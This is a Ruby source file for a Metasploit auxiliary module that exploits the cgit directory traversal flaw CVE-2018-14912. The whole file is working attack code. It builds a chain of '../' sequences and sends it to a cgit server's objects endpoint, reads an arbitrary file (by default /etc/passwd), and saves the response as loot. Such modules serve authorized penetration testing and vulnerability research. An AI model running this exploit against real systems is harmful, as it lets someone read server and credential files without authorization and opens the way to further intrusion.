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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Report
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  include Msf::Auxiliary::Scanner
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'        => 'cgit Directory Traversal',
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      'Description' => %q{
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        This module exploits a directory traversal vulnerability which
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        exists in cgit < 1.2.1 cgit_clone_objects(), reachable when the
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        configuration flag enable-http-clone is set to 1 (default).
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      },
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      'References'  =>
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        [
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          ['CVE', '2018-14912'],
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          ['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1627'],
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          ['EDB', '45148']
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        ],
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      'Author'      =>
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        [
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          'Google Project Zero', # Vulnerability discovery
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          'Dhiraj Mishra' # Metasploit module
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        ],
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      'DisclosureDate' => '2018-08-03',
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      'License'     => MSF_LICENSE
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    ))
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    register_options(
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      [
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        OptString.new('FILEPATH', [true, "The path to the file to read", '/etc/passwd']),
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        OptString.new('TARGETURI', [true, "The base URI path of the cgit install", '/cgit/']),
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        OptString.new('REPO', [true, "Git repository on the remote server", '']),
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        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 10 ])
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      ])
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  end
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  def run_host(ip)
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    filename = datastore['FILEPATH']
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    traversal = "../" * datastore['DEPTH'] << filename
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    res = send_request_cgi({
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      'method' => 'GET',
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      'uri'    => normalize_uri(target_uri.path, datastore['REPO'], '/objects/'),
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      'vars_get' => {'path' => traversal}
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    })
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    unless res && res.code == 200
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      print_error('Nothing was downloaded')
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      return
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    end
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    vprint_good("#{peer} - \n#{res.body}")
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    path = store_loot(
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      'cgit.traversal',
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      'text/plain',
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      ip,
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      res.body,
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      filename
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    )
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    print_good("File saved in: #{path}")
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  end
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end
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